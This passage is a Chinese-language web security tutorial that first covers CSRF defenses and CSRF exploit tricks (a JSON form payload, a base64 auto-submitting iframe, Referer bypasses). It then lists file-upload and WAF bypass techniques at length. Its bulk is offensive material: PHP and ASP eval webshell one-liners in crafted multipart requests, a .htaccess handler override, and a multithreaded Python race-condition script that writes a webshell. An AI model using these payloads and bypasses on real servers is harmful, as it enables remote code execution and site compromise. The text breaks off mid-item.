csrf漏洞存在的地方:关注,转发,评论,充值,添加,删除,充值和转账等地方 0x09 CSRF 漏洞防护   我总结了一下看到的资料,CSRF的防御可以从服务端和客户端两方面着手,防御效果是从服务端着手效果比较好,现在一般的CSRF防御也都在服务端进行。   1.服务端进行CSRF防御   服务端的CSRF方式方法很多样,但总的思想都是一致的,就是在客户端页面增加伪随机数。   (1).Cookie Hashing(所有表单都包含同一个伪随机值):   这可能是最简单的解决方案了,因为攻击者不能获得第三方的Cookie(理论上),所以表单中的数据也就构造失败了: <?php     //构造加密的Cookie信息     $value = “DefenseSCRF”;     setcookie(”cookie”, $value, time()+3600);   ?>   在表单里增加Hash值,以认证这确实是用户发送的请求。 <span data-wiz-span="data-wiz-span">php     $hash = md5($_COOKIE['cookie']);   ?>   <form method=”POST” action=”transfer.php”>     <input type=”text” name=”toBankId”>     <input type=”text” name=”money”>     <input type=”hidden” name=”hash” value=”<?=$hash;?>”>     <input type=”submit” name=”submit” value=”Submit”>   </form>   <?</span>   然后在服务器端进行Hash值验证 <span data-wiz-span="data-wiz-span"><?php    if(isset($_POST['check'])) {    $hash = md5($_COOKIE['cookie']);    if($_POST['check'] == $hash) {    doJob();    } else {         //...    }    } else {       //...    } ?></span>   (2).验证码   这个方案的思路是:每次的用户提交都需要用户在表单中填写一个图片上的随机字符串,厄....这个方案可以完全解决CSRF,但个人觉得在易用性方面似乎不是太好,还有听闻是验证码图片的使用涉及了一个被称为MHTML的Bug,可能在某些版本的微软IE中受影响。   (3).One-Time Tokens(不同的表单包含一个不同的伪随机值)   在实现One-Time Tokens时,需要注意一点:就是“并行会话的兼容”。如果用户在一个站点上同时打开了两个不同的表单,CSRF保护措施不应该影响到他对任何表单的提交。考虑一下如果每次表单被装入时站点生成一个伪随机值来覆盖以前的伪随机值将会发生什么情况:用户只能成功地提交他最后打开的表单,因为所有其他的表单都含有非法的伪随机值。必须小心操作以确保CSRF保护措施不会影响选项卡式的浏览或者利用多个浏览器窗口浏览一个站点。   以下我的实现:   1).先是令牌生成函数(gen_token()): <span data-wiz-span="data-wiz-span"><?php function gen_token() {     //这里我是贪方便,实际上单使用Rand()得出的随机数作为令牌,也是不安全的。     //这个可以参考我写的Findbugs笔记中的《Random object created and used only once》 $token = md5(uniqid(rand(), true)); return $token; } </span>   2).然后是Session令牌生成函数(gen_stoken()): <span data-wiz-span="data-wiz-span"><?php   function gen_stoken() {       $pToken = "";       if($_SESSION[STOKEN_NAME] == $pToken){         //没有值,赋新值         $_SESSION[STOKEN_NAME] = gen_token();       }       else{         //继续使用旧的值       }   } ?></span>   3).WEB表单生成隐藏输入域的函数:   <span data-wiz-span="data-wiz-span"> <?php    function gen_input() {    gen_stoken();    echo “<input type=\”hidden\” name=\”" . FTOKEN_NAME . “\”    value=\”" . $_SESSION[STOKEN_NAME] . “\”> “;   } ?></span>   4).WEB表单结构: <span data-wiz-span="data-wiz-span"> <?php session_start(); include(”functions.php”); ?> <form method=”POST” action=”transfer.php”> <input type=”text” name=”toBankId”> <input type=”text” name=”money”> <? gen_input(); ?> <input type=”submit” name=”submit” value=”Submit”> </FORM></span>   5).服务端核对令牌:   这个很简单,这里就不再啰嗦了。 2.客服端校验 (1). 来源校验 使用http请求头中referer来源,对客户端源进行身份校验,此方法早期使用比较多,但是仍然容易被绕过,所以这里并不建议使用。 (2).当前用户密码验证 在修改关键信息时,要钱当前用户输入其自身的密码,以验证当前用户身份的真伪,防止未授权的恶意操作 附录:CSRF利用小技巧 (1).JSON的CSRF小技巧 表格提交后数据很简单,如下: <span data-wiz-span="data-wiz-span"> <html> <head> <title>This i a CSRF test!</title> </head> <form action="http://xxx.com/db/adds" method="post" enctype="text/plain" > <input name='{"attributes":{"name":"[email protected]","userName":"test1","password":"e10adc3949ba59abbe56e057f20f883e","role":"user","status":"enabled", "phone":""}}'type='hidden'> <input type=submit> </form> </html></span> 但是这种方式存在缺陷,如下图:始终有个“=”摆脱不了,但是用下面这种方式成功摆脱: 可修改表单如下 <span data-wiz-span="data-wiz-span"> <html> <head> <title>This i a CSRF test!</title> </head> <form action="http://xxx.com/db/adds" method="post" enctype="text/plain" > <input name='{"attributes":{"name":"[email protected]","userName":"test1","password":"e10adc3949ba59abbe56e057f20f883e","role":"user","status":"enabled", "phone":"' value='"}}'type='hidden'> <input type=submit> </form> </html></span> 那么post提交的数据就可以伪造了: 这里的技巧主要在于名称和值的值共同构成了JSON格式的值,利用了双引号的闭 (2).CSRF 花式绕过Referer技巧 (1). Referer为空的情况 绕过方法: <span data-wiz-span="data-wiz-span">利用ftp://,http://,https://,file://,javascript:,data:这个时候浏览器地址栏是file://开头的,如果这个HTML页面向任何http站点提交请求的话,这些请求的Referer都是空的。</span> 利用data协议: <html> <body> <iframe src="data:text/html;base64,PGZvcm0gbWV0aG9kPXBvc3QgYWN0aW9uPWh0dHA6Ly9hLmIuY29tL2Q+PGlucHV0IHR5cGU9dGV4dCBuYW1lPSdpZCcgdmFsdWU9JzEyMycvPjwvZm9ybT48c2NyaXB0PmRvY3VtZW50LmZvcm1zWzBdLnN1Ym1pdCgpOzwvc2NyaXB0Pg=="> </body> </html> 利用https协议(https向http跳转的时候Referer为空) <iframe src="https://xxxxx.xxxxx/attack.php"> (2).判断Referer是某域情况下绕过 比如你找的csrf是xxx.com 验证的referer是验证的*.xx.com 可以找个二级域名 之后<img "csrf地址"> 之后在把文章地址发出去 就可以伪造。 (3).判断Referer是否存在某关键词 referer判断存在不存在google.com这个关键词 在网站新建一个google.com目录 把CSRF存放在google.com目录,即可绕过 (4).判断referer是否有某域名 判断了Referer开头是否以126.com以及126子域名 不验证根域名为126.com 那么我这里可以构造子域名x.126.com.xxx.com作为蠕虫传播的载体服务器,即可绕过。
  4. 0x01 上传漏洞定义 文件上传漏洞是指用户上传了一个可执行的脚本文件,并通过此脚本文件获得了执行服务器端命令的能力。这种攻击方式是最为直接和有效的,“文件上传”本身没有问题,有问题的是文件上传后,服务器怎么处理、解释文件。如果服务器的处理逻辑做的不够安全,则会导致严重的后果. 0x02 上传漏洞危害 1.上传文件是Web脚本语言,服务器的Web容器解释并执行了用户上传的脚本,导致代码执行。 2.上传文件是病毒或者木马时,主要用于诱骗用户或者管理员下载执行或者直接自动运行; 3.上传文件是Flash的策略文件crossdomain.xml,黑客用以控制Flash在该域下的行为(其他通过类似方式控制策略文件的情况类似); 4.上传文件是病毒、木马文件,黑客用以诱骗用户或者管理员下载执行。 5.上传文件是钓鱼图片或为包含了脚本的图片,在某些版本的浏览器中会被作为脚本执行,被用于钓鱼和欺诈。 除此之外,还有一些不常见的利用方法,比如将上传文件作为一个入口,溢出服务器的后台处理程序,如图片解析模块;或者上传一个合法的文本文件,其内容包含了PHP脚本,再通过"本地文件包含漏洞(Local File Include)"执行此脚本;等等。 0x03 上传漏洞满足条件 首先,上传的文件能够被Web容器解释执行。所以文件上传后所在的目录要是Web容器所覆盖到的路径。 其次,用户能够从Web上访问这个文件。如果文件上传了,但用户无法通过Web访问,或者无法得到Web容器解释这个脚本,那么也不能称之为漏洞。 最后,用户上传的文件若被安全检查、格式化、图片压缩等功能改变了内容,则也可能导致攻击不成功。 0x04 上传漏洞产生的原因 一些web应用程序中允许上传图片,文本或者其他资源到指定的位置,文件上传漏洞就是利用这些可以上传的地方将恶意代码植入到服务器中,再通过url去访问以执行代码. 造成文件上传漏洞的原因是: 1.服务器配置不当 2.开源编辑器上传漏洞 3.本地文件上传限制被绕过 4.过滤不严或被绕过 5.文件解析漏洞导致文件执行 6.文件路径截断 0x05 上传漏洞的原理 大部分的网站和应用系统都有上传功能,一些文件上传功能实现代码没有严格限制用户上传的文件后缀以及文件类型,导致允许攻击者向某个可通过Web访问的目录上传任意PHP文件,并能够将这些文件传递给PHP解释器,就可以在远程服务器上执行任意PHP脚本。 当系统存在文件上传漏洞时攻击者可以将病毒,木马,WebShell,其他恶意脚本或者是包含了脚本的图片上传到服务器,这些文件将对攻击者后续攻击提供便利。根据具体漏洞的差异,此处上传的脚本可以是正常后缀的PHP,ASP以及JSP脚本,也可以是篡改后缀后的这几类脚本。 0x06 上传文件检测流程 通常一个文件以HTTP协议进行上传时,将以POST请求发送至Web服务器,Web服务器接收到请求并同意后,用户与Web服务器将建立连接,并传输数据。一般文件上传过程中将会经过如下几个检测步骤: 一般一个文件上传过程中的检测如下图红色标记部分: 客户端javascript校验(一般只校验文件的扩展名) 服务端校验 文件头content-type字段校验(image/gif) 文件内容头校验(GIF89a) 目录路经检测(检测跟Path参数相关的内容) 文件扩展名检测 (检测跟文件 extension 相关的内容) 后缀名黑名单校验 后缀名白名单校验 自定义正则校验 WAF设备校验(根据不同的WAF产品而定) 0x07 上传漏洞绕过 1.客服端绕过 (1)客户端校验:  一般都是在网页上写一段javascript脚本,校验上传文件的后缀名,有白名单形式也有黑名单形式。判断方式:在浏览加载文件,但还未点击上传按钮时便弹出对话框,内容如:只允许上传.jpg/.jpeg/.png后缀名的文件,而此时并没有发送数据包 (2)绕过方法: 1.通过火狐插件NOscript插件或者禁用IE中JS脚本 2.通过firbug插件元素审核修改代码(如删除onsubm:t=”return checkFile()”事件) 3.通过firbug元素审核javascirpt脚本中添加上传文件类型。 4.通过利用burp抓包改包,先上传一个gif类型的木马,然后通过burp将其改为asp/php/jsp后缀名即可 注意:这里修改文件名字后,请求头中的Content-Length的值也要改 演示如下: fidder进行抓包拦截,先上传一句话图片木马如bd2.jpg,然后抓包拦截改成bd2.php 2.服务端绕过 (1)黑名单扩展名绕过 黑名单检测:一般有个专门的 blacklist 文件,里面会包含常见的危险脚本文件。绕过方法: (1)找黑名单扩展名的漏网之鱼 - 比如 iis6.0中的asa 和 cer (2)可能存在大小写绕过漏洞 - 比如 aSp(iis6.0中可以) 和 pHp(只能在小于php5.3.39中的linux中) 之中 (3)能被WEB容器解析的文件其他扩展名列表: jsp, jspx ,jspf asp asa cer cdx,htr,xml,html aspx,ashx,asmx,asax,ascx 演示:php中的大小写解析只能在linux 环境才能执行: 这里不允许上传php那么可以上传大小写Php (2)黑名单特殊后缀名绕过(利用难度高) 将Burpsuite截获的数据包中backlion.php名字改为baclion.php4(php1,php2,php3,php4,php5),前提条件是http.conf中设置 AddType application/x-httpd-php .php1(php的版本小于等于5.3.29以下) (3)配合操作系统文件命名规则绕过 在windows系统下,如果文件名以“.”或者空格作为结尾,系统会自动删除“.”与空格,利用此特性也可以绕过黑名单验证。apache中可以利用点结尾和空格绕过,asp和aspx中可以用空格绕过 (a).上传不符合windows文件命名规则的文件名, 会被windows系统自动去掉不符合规则符号后面的内容:   test.asp.   test.asp(空格)   test.php:1.jpg   test.php::$DATA (b). linux下后缀名大小写 在linux下,如果上传php不被解析,可以试试上传pHp后缀的文件名(前提条件是php版本小于等于5.3.29版本) (4)单双重后缀名绕过 上传时将Burpsuite截的数据包中文件名backlion.php(backlion.asa)改为backlion.pphphph(backlion.asasaa),那么过滤了第一个"php"字符串"后,开头的'p'和结尾的'hp'就组合又形成了php (5)服务端MIME文件类型(Content-Type)绕过 MIME的作用: 使客户端软件,区分不同种类的数据,例如web浏览器就是通过MIME类型来判断文件是GIF图片,还是可打印的PostScript文件。web服务器使用MIME来说明发送数据的种类, web客户端使用MIME来说明希望接收到的数据种类,它是服务器用来判断浏览器传递文件格式的重要标记项。 常用的文件上传类型的MIME表: text/plain(纯文本) text/html(HTML文档) text/javascript(js代码) application/xhtml+xml(XHTML文档) image/gif(GIF图像) image/jpeg(JPEG图像) image/png(PNG图像) video/mpeg(MPEG动画) application/octet-stream(二进制数据) application/pdf(PDF文档) application/(编程语言) 该种语言的代码 application/msword(Microsoft Word文件) message/rfc822(RFC 822形式) multipart/alternative(HTML邮件的HTML形式和纯文本形式,相同内容使用不同形式表示) application/x-www-form-urlencoded(POST方法提交的表单) multipart/form-data(POST提交时伴随文件上传的表单) 绕过方法: 上传对文件类型做了限制,可通过burpsuit将其他类文件类型修改为如:Content-Type:image/gif和image/jpeg等运行的文件类型 (6)配合文件包含漏洞绕过 绕过方式一:运行上传文件包含脚本木马和一句话内容马 前提:校验规则只校验当文件后缀名为asp/php/jsp的文件内容是否为木马。 (a)先上传一个内容为木马的txt后缀文件,因为后缀名的关系没有检验内容; (b)然后再上传一个.php的文件,内容为<?php Include(“上传的txt文件路径”);?> 此时,这个php文件就会去引用txt文件的内容,从而绕过校验,下面列举包含的语法: PHP <?php Include("上传的txt文件路径");?> ASP <!--#include file="上传的txt文件路径" --> JSP <jsp:inclde page="上传的txt文件路径"/> or <%@include file="上传的txt文件路径"%> 方式二:存在本地文件包含漏洞,并可上传一句话内容马 上传一个符合条件格式的文档,文档内容为一句话木马,eg:test.txt 利用文件包含漏洞包含上传的木马文件,eg:page?id=D:/www/test.txt (7)修改 url 的参数绕过 谷歌关键字:inurl:newslist.asp?NodeCode= 将/uploadfile.asp?uppath=PicPath&upname=&uptext=form1.PicPath中的参数uptext的值改为form1.PicPath.asp即可绕过。 可以看出对参数 PicPath 进行了修改,这种漏洞主要是存在文件名或者路径过滤不严,在实战中多多观察 url 中的参数,可以尝试进行修改数据 (8)双重文件上传绕过 通过保存以下代码为1.html修改上传: <form action="http://edu2b.sinaapp.com/Upfile_AdPic.asp" method="post" name="form1" enctype="multipart/form‐data"> <input name="FileName1" type="FILE" class="tx1" size="40"> <input name="FileName2" type="FILE" class="tx1" size="40"> <input type="submit" name="Submit" value="上传"> </form> //在第一个框内选择一个 jpg 图片,文件名为“yueyan.jpg”,在第 二个框内选择一个 cer 文件,文件名为“yueyan.cer”,点“上传”把这两个文件提交给程序即可。 3.白名单绕过: (1)配合Web容器的解析漏洞: IIS中的目录解析漏洞和分号解析漏洞: 将一句话木马的文件名backlion.php,改成backlion.php.abc(奇怪的不被解析的后缀名都 行)。首先,服务器验证文件扩展名的时候,验证的是.abc,只要该扩展名符合服务器端黑白名单规则,即可上传。 nginx空字节漏洞 xxx.jpg%00.php 这样的文件名会被解析为php代码运行 apache的解析漏洞,上传如a.php.rar a.php.gif 类型的文件名,可以避免对于php文件的过滤机制,但是由于apache在解析文件名的时候是从右向左读,如果遇到不能识别的扩展名则跳过,rar等扩展名是apache不能识别的,因此就会直接将类型识别为php,从而达到了注入php代码的目的 (2)%00截断上传绕过 通过抓包截断将backlion.asp.jpg后面的一个.换成%00在上传的时候即backlion.asp%00.jpg,当文件系统读到%00时,会认为文件已经结束,从而将backlion.asp.jpg的内容写入到backlion.asp中,从而达到攻击的目的。%00不是针对所有基于白名单的后缀名检查都能绕过,代码的实现过程中必须存在截断上传漏洞,上传格式如下:  bk.asp %00.jpg  路径/updata/bk.asp(0x00).jpg (4)突破文件路径绕过 在文件上传时,程序通常允许用户将文件放到指定的目录中,如果指定的目录存在,就将文件写入目录中,不存在的话则先建立目录,然后写入。比如:在前端的HTML代码中,有一个隐藏标签<input type="hidden" name="Extension" value="up"/> 在服务器端有如下代码 if(!is_dir($Extension)){ //如果文件夹不存在,就建立文件夹 mkdir($Extension); } 攻击者可以利用工具将表单中value的值由“up”改为“pentest.asp”,并上传一句话图片木马文件。程序在接收到文件后,对目录判断,如果服务器不存在pentest.asp目录,将会建立此目录,然后再将图片一句话密码文件写入pentest.asp目录,如果Web容器为IIS 6.0,那么网页木马会被解析 以下目录位置修改绕过几种形式: upload/1.asp%00.jpg #asp中的修改目录位置%00的拦截 bk.jpg #post提交一句话图片马或者其他白名单为一句话木马 ------->upload/1.asp%00.jpg/bk.jpg #最终生成的文件访问路径 -------------------------------------------------------------------------- upload/bk.asp/ # windows2003 iis6.0中目录路径后添加一个bk.asp的目录 bk.jpg #post上传的文件类型为一句话图片马 ----->upload/bk.asp/aaabbk.jpg #最终的URL访问路径 ---------------------------------------------------------------------------- upload/bk.asp; # windows2003 iis6.0中目录路径后添加一个bk.asp;的目录 bk.jpg #post上传的文件类型将bk.jpg一句话图片马 ----->upload/bk.asp;14127900008.asp ##最终的URL访问路径 这里以动网6.0为例,先上传一个正常的图片,会生成如:files/201210010321944973.jpg文件。第一种突破方法:先上传一句话图片马如1.jpg,然后拦截将其 FilePath 值改为“files/backlion.asp□ 最终生成:“files/backlion.asp□/201210010321944973.jpg,实际就是files/backlion.asp 第二种突破:先上传一句话图片马如1.jpg,然后拦截将其 FilePath 值改为“backlion.asp;最终生成:“backlion.asp;201210010321944973.jpg (5).htaccess 文件重写绕过 配合黑名单列表绕过,上传一个自定义的.htaccess和一句话图片木马,就可以轻松绕过各种检测,该文件仅在Apache平台上存在,.htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能IIS平台上不存在该文件,该文件默认开启,启用和关闭在httpd.conf文件中配置。 .htaccess 文件的写法: <FilesMatch "backlion.jpg"> SetHandler application/x-httpd-php </FilesMatch> 保存为.htaccess文件。该文件的意思是,只要遇到文件名中包含有” backlion.jpg”字符串的任意文件,统一被当作php执行。如果这个” backlion.jpg”的内容是一句话木马,即可利用中国菜刀进行连接 前提条件是:大于等于php版本5.3.39以下 (6)文件头内容检测绕过 文件头简介 不同的图片文件都有不同文件头,如: PNG: 文件头标识 (8 bytes) 89 50 4E 47 0D 0A 1A 0A JPEG: 文件头标识 (2 bytes): 0xff, 0xd8 (SOI) (JPEG 文件标识) GIF: 文件头标识 (6 bytes) 47 49 46 38 39(37) 61 上传文件的时候会检查上传文件是否合法,如图片文件是否文件头含有gif89,这里可以通过一句话图片木马生成工具edjpgcom或者通过编辑器 在木马内容基础上再加了一些文件信息,有点像下面的结构: GIF89a <?php phpinfo(); ?> 如果是其他类型的二进制文件,也有响应的头字节,如下表: 格式 文件头 TIFF (tif) 49492A00 Windows Bitmap (bmp) 424D CAD (dwg) 41433130 Adobe Photoshop (psd) 38425053 Rich Text Format (rtf) 7B5C727466 MS Word/Excel (xls.or.doc) D0CF11E0 MS Access (mdb) 5374616E64617264204A ZIP Archive (zip), 504B0304 RAR Archive (rar), 52617221 Wave (wav), 57415645 AVI (avi), 41564920 Real Media (rm), 2E524D46 MPEG (mpg), 000001BA MPEG (mpg), 000001B3 Quicktime (mov), 6D6F6F76 Adobe Acrobat (pdf), 255044462D312E Windows Media (asf), 3026B2758E66CF11 MIDI (mid), 4D546864 4.条件竞争上传绕过 演示代码: <?php $allowtype = array("gif","png","jpg"); $size = 10000000; $path = "./"; $filename = $_FILES['file']['name']; if(is_uploaded_file($_FILES['file']['tmp_name'])){ if(!move_uploaded_file($_FILES['file']['tmp_name'],$path.$filename)){ die("error:can not move"); } }else{ die("error:not an upload file!"); } $newfile = $path.$filename; echo "file upload success.file path is: ".$newfile."\n<br />"; if($_FILES['file']['error']>0){ unlink($newfile); die("Upload file error: "); } $ext = array_pop(explode(".",$_FILES['file']['name'])); if(!in_array($ext,$allowtype)){ unlink($newfile); die("error:upload the file type is not allowed,delete the file!"); } ?> 首先将文件上传到服务器,然后检测文件后缀名,如果不符合条件,就删掉,我们的利用思路是这样的,首先上传一个php文件,内容为: bk.php: <?php fputs(fopen("./info.php", "w"), '<?php @eval($_POST["drops"]) ?>'); ?> 当然这个文件会被立马删掉,所以我们使用多线程并发的访问上传的文件,总会有一次在上传文件到删除文件这个时间段内访问到上传的php文件,一旦我们成功访问到了上传的文件,那么它就会向服务器写一个shell。利用代码如下: import os import requests import threading class RaceCondition(threading.Thread): def __init__(self): threading.Thread.__init__(self) self.url = " http://10.0.0.56 /bk.php" self.uploadUrl = " http://10.0.0.56/index.html" def _get(self): print('try to call uploaded file...') r = requests.get(self.url) if r.status_code == 200: print("[*]create file info.php success") os._exit(0) def _upload(self): print("upload file.....") file = {"file":open("shell0.php","r")} requests.post(self.uploadUrl, files=file) def run(self): while True: for i in range(5): self._get() for i in range(10): self._upload() self._get() if __name__ == "__main__": threads = 20 for i in range(threads): t = RaceCondition() t.start() for i in range(threads): t.join() 经过几次尝试后成功成功写入shell 5.CMS、编辑器漏洞绕过 CMS漏洞:针对不同CMS存在的上传漏洞进行绕过。 编辑器漏洞:比如FCK,Ewebeditor等,可以针对编辑器的漏洞进行绕过。 6.对渲染/加载测试攻击内容检查绕过绕过 通过向图片中加入代码注入,这里一般为 一句话图片木马,可能正常访问图片 0x08 带waf的文件上传绕过 1.上传文件WAF检查的位置 文件名:解析文件名,判断是否在黑名单内。 文件内容:解析文件内容,判断是否为webshell 文件目录权限 请求的url Boundary边界 MIME文件类型 目前,市面上常见的是解析文件名,少数WAF是解析文件内容,比如长亭。 2.文件上传存在的上传特征 http请求Header头部中的Content-Type存在以下特征: multipart/form-data:表示该请求是一个文件上传请求 存在boundary字符串:作用为分隔符,以区分POST数据 POST的内容存在以下特征: Content-Disposition name filename POST中的boundary的值就是Content-Type的值在最前面加了两个--,除了最后 标识结束的boundary 最后标识结束的boundary最后默认会多出两个--(测试时,最后一行的 boundary删掉也能成功上传) 3.绕过WAF文件上传的方法 (1)填充垃圾数据绕过 有些主机WAF软件为了不影响web服务器的性能,会对校验的用户数据设置大小上限,比如1M。此种情况可以构造一个大文件,前面1M的内容为垃圾内容,后面才是真正的木马内容,便可以绕过WAF对文件内容的校验;' Content-Type类型数据后添加垃圾数据: Content-Type: image/jpeg a=11111111111111111111111111111111111111111111111111111111 GIF89a <?php phpinfo(); ?> 当然也可以将垃圾数据放在数据包最开头,这样便可以绕过对文件名的校验。 ------WebKitFormBoundaryYijPw9QB0WlswSL2 a=11111111111111111111111111111111111111111111111111111111111111111111111111 Content-Disposition: form-data; name="file_x"; filename="bk.jpg" Content-Type: image/jpeg Content-Disposition:后添加垃圾数据: 可以将垃圾数据加到Content-Disposition参数后面,参数内容过长,可能会导致waf检测出错。 Content-Disposition:a=11111111111111111111111111111111111111111111111111111 form-data; name="upfile"; filename="bk.jpg" (2)filename绕过 添加一个finame参数: 针对早期版本安全狗,可以多加一个filename 在一个Content-Disposition 中,存在多个filename ,协议解析应该使用最后的filename值作为文件名。如果WAF解析到filename="bk.jpg"认为解析到文件名,结束解析,将导致被绕过。因为后端容器解析到的文件名是bk.asp Content-Disposition: form-data; name="file1"; finame="bk.jpg";filename="bk.asp" 调换filename的位置(filename在content-type下面): 规定Content-Disposition必须在最前面,所以只能交换name和filename的顺序。有的WAF可能会匹配name在前面,filename在后面 将Content-Disposition: form-data; name="file1"; filename= "bk.php"改为: Content-Disposition: form-data; filename= "bk.php";name=file1 在filename=后面添加空格,截止到2017年10月04日还能绕过某盾WAF: Content-Disposition: form-data; name="file1"; filename= "bk.php" form-data字段与name字段交换位置: Content-Disposition: name="file1";form-data;filename= "bk.php" (3)POST/GET的更改方法绕过 有些WAF的规则是:如果数据包为POST类型,则校验数据包内容。 此种情况可以上传一个POST型的数据包,抓包将POST改为GET (4)删除实体里面的Conten-Type字段绕过 第一种删除Content整行: Content-Disposition: form-data; name="upfile"; filename="bk.php" 第二种删除C后面的字符: 删除掉ontent-Type: image/jpeg只留下c,将.php加c后面即可,但是要注意额,双引号要跟着c.php。 正常包: Content-Disposition: form-data; name="upfile"; filename="bk.jpg" Content-Type: image/jpeg 构造包: Content-Disposition: form-data; name="upfile"; filename="bk.jpg C.php" (5)删除Content-Disposition字段里的空格绕过 Content-Disposition:form-data; name="upfile"; filename="bk.php" Content-Type: image/jpeg (6)增加一个空格绕过安全狗(Win2k3 + IIS6.0 + ASP) Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryI8GYlViOBTBCYZA3 尝试在boundary后面加个空格或者其他可被正常处理的字符: Content-Type: multipart/form-data; boundary= ----WebKitFormBoundaryI8GYlViOBTBCYZA3 (7)修改Content-Disposition字段值的大小写绕过 对这三个固定的字符串进行大小写转换:Content-Disposition,name,filename 比如name转换成Name,Content-Disposition转换成content-disposition。两年前,拿它绕过安全狗的上传,不知道现在如何。 Content-Disposition: form-data; name="upfile"; filename="bk.php" 改成 Content-Disposition: form-data; nAme="upfile"; filename="bk.php" (8)Boundary边界不一致( win2003+iis6.0+asp)绕过 但如果容器在处理的过程中并没有严格要求一致的话可能会导致一个问题,两段Boundary不一致使得waf认为这段数据是无意义的,可是容器并没有那么严谨: Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryI8GYlViOBTAAAAA3 Content-Length: 253 ----------------------------- WebKitFormBoundaryI8GYlViOBTBCYZA3 Content-Disposition: form-data; name="file1"; filename="bk.asp" Content-Type: application/octet-stream <%eval request("cmd")%> ----------------------------- WebKitFormBoundaryI8GYlViOBTBCYZA3 (9)文件扩展名出回车绕过(只支持php) Content-Disposition: form-data; nAme="upfile"; filename="bk.ph p" Content-Type: image/jpeg 或者 Content-Disposition: form-data; nAme="upfile"; file name="bk.ph p" Content-Type: image/jpeg 又或者 Content-Disposition: form-data; nAme="upfile"; fi lename="bk.php" Content-Type: image/jpeg (10)多个Content-Disposition(Win2k8 + IIS7.0 + PHP)绕过 在IIS的环境下,上传文件时如果存在多个Content-Disposition的话,IIS会取第一个Content-Disposition中的值作为接收参数,许多WAF只检查第一个上传文件,没有检查上传的所有文件,而实际后端容器会解析所有上传的文件名,攻击者只需把paylaod放在后面的文件PART,即可绕过 Content-Disposition: form-data; name="file1"; filename="bk.php" Content-Disposition: form-data; name="file1"; filename="bk.jpg" Content-Type: application/octet-stream <?php phpinfo(); ?> 或者这样: Content-Disposition: form-data; name="file";filename="shell.jpg" Content-Type: image/jpg <?php eval($_GET['c'])?> ------WebKitFormBoundaryx7V4AhipWn8ig52y Content-Disposition: form-data; name="file";filename="shell.php" Content-Type: application/octet-stream <?php eval($_GET['c'])?> (11)利用NTFS ADS特性绕过 ADS是NTFS磁盘格式的一个特性,用于NTFS交换数据流。在上传文件时,如果waf对请求正文的filename匹配不当的话可能会导致绕过。以下扩展名可能绕过WAF: (12)文件重命名绕过 如果web程序会将filename除了扩展名的那段重命名的话,那么还可以构造更多的点、符号等等。 Content-Disposition: form-data; name="file1"; filename="bk................................................................................................................................................................................................................................asp"大概几百个点 (13)特殊的长文件名绕过 文件名使用非字母数字,比如中文等最大程度的拉长,不行的话再结合一下其他的特性进行测试: Content-Disposition: form-data; name="file1"; filename="bk.asp;媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼.jpg" Content-Type: image/jpeg (14)反删除绕过 将下图file1改成了file4,这样就不会把这个文件删除了。(JCMS漏洞) Content-Disposition: form-data; name="file4"; filename="bk.asp" (15)Windows特殊字符(Win2k8 + IIS7.0 + PHP) 当我们上传一个文件的filename为shell.php{%80-%99}时可绕过WAF: Content-Disposition: form-data; name="file1"; filename="bk.php{%80-%99}"(asp和php都支持) (16)exee扩展名绕过 上传.exe文件通常会被waf拦截,如果使用各种特性无用的话,那么可以把扩展名改为.exee再进行上传。 Content-Disposition: form-data; name="file4"; filename="bk.exee" (17)去掉引号绕过 将Content-Disposition: form-data; name="upfile"; filename="bk.jp值改为: Content-Disposition: form-data; name=upfile; filename="bk.php" #name值双引号去掉 Content-Disposition: form-data; name=upfile; filename=bk.php #name和filename的值双引号去掉 Content-Disposition: form-data; name="upfile"; filename=bk.php #finame的值双引号去掉 双引号变成单引号: 将Content-Disposition: form-data; name="upfile"; filename="bk.jp值改为: Content-Disposition: form-data; name='upfile'; filename='bk.php' (18)删除Content-Disposition值的form-data绕过 有的WAF在解析的时候,认为Content-Disposition值一定是form-data,造成绕过。两年前,拿它绕过安全狗的上传,不知道现在如何。 Content-Disposition: form-data; name="file1"; filename= "bk.php"改为: Content-Disposition: name="file1"; filename= "bk.php" (19)多个分号绕过 当WAF遇到name="myfile";;时,认为没有解析到filename。而后端容器继续解析到的文件名是bk.php,导致WAF被绕过。 将Content-Disposition: form-data; name="upfile"; filename="bk.php " Content-Disposition: form-data; name="upfile";;; filename="bk.php " (20)在boundary前添加任意字符(只支持php) 将Content-Type: multipart/form-data; boundary=----WebKitFormBoundarypKBgEbdwBv4vsVTU 改为: Content-Type: multipart/form-data; bypasssboundary=----WebKitFormBoundarypKBgEbdwBv4vsVTU (21)name和filename添加任意字符串(长度大于等于508) 将Content-Disposition: form-data; name="file"; filename="bk.jpg" 改为: Content-Disposition:form-data;name="file";_www.backlioncom_www.backlioncom_www.backlioncom_www.backlioncom_www.backlioncom_www.backlioncom_www.backlioncom_www.backlioncom_www.backlioncom_www.backlioncom_www.backlioncom_www.backlioncom_www.backlioncom_www.backlioncom_www.backlioncom_www.backlioncom_www.backlioncom_www.backlioncom_www.backlioncom_www.backlioncom_www.backlioncom_www.backlioncom_www.backlioncom_www.backlioncom_www.backlioncom_www.backlioncom_www.backlioncom_......;filename="backlion.php" Content-Type: image/png <?php phpinfo();?> (22)head头的content-type:tab绕过 将 Content-Type:multipart/form-data; boundary=----WebKitFormBoundarypKBgEbdwBv4vsVTU 改成: Content-Type: multipart/form-data; boundary=----WebKitFormBoundarypKBgEbdwBv4vsVTU (23)head头的content-type: multipart/form-data改成大写绕过 将Content-Type:multipart/form-data;boundary=----WebKitFormBoundarypKBgEbdwBv4vsVTU 改成: Content-Type:multipart/form-DATA;boundary=----WebKitFormBoundarypKBgEbdwBv4vsVTU (24)head头的Content-Type: multipart/form-data;\n绕过 将 Content-Type:multipart/form-data;boundary=----WebKitFormBoundarypKBgEbdwBv4vsVTU 改成(multipart/form-data;\n): Content-Type:multipart/form-data; boundary=----WebKitFormBoundarypKBgEbdwBv4vsVTU (25)content-disposition:\n绕过 将Content-Disposition: form-data; name="upfile"; filename="bk.jpg" 